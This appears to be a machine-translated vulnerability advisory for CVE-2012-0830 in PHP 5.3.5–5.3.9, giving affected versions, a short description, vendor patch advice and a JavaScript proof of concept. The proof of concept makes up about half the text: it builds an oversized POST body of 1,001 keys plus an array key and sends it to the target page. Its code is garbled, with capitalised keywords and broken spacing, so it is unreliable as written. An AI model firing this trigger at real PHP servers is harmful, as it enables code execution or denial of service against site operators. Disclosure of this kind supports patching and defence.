PHP "php_register_variable_ex ()" function Arbitrary Code Execution Vulnerability

Release date:
Updated on:

Affected Systems:
PHP 5.3.9
PHP 5.3.8
PHP 5.3.7
PHP 5.3.6
PHP 5.3.5
Description:
--------------------------------------------------------------------------------
Bugtraq id: 51830
CVE (CAN) ID: CVE-2012-0830

PHP is a script language running on a computer. It is mainly used to process dynamic web pages, including command line interfaces or graphical user interface programs.

PHP has a vulnerability in the Code Implementation of the php_register_variable_ex () function to fix hash conflicts. Attackers can exploit this vulnerability to execute arbitrary code.

<* Source: Stefan Esser (s.esser@ematters.de)

Link: http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/
*>

Test method:
--------------------------------------------------------------------------------
Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

// Simple proof of concept for PHP bug (CVE-2012-0830) described by Stefan Esser (@ i0n1c)
// Http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/

// Generate 1000 normal keys and one array
Function createEvilObj (){
Var evil_obj = {};
For (var I = 0; I <1001; I ++ ){
Evil_obj [I] = 1;
}
Evil_obj ['Kill [] '] = 'kill ';
Return evil_obj;
}

// Serialize Javascript object into POST data
Function serializeObj (obj ){
Var str = [];
For (var p in obj ){
Str. push (p + "=" + obj [p]);
}
Return str. join ("&");
}

// Run attack
Function attackSite (){
Var bad = serializeObj (createEvilObj ());
Var xhr = new XMLHttpRequest ();
Xhr. open ("POST", location. href, true );
Xhr. setRequestHeader ('content-type', 'application/x-www-form-urlencoded ');
Xhr. setRequestHeader ('content-length', bad. Length );
Xhr. send (bad );
}

AttackSite ();

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

PHP
---
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.php.net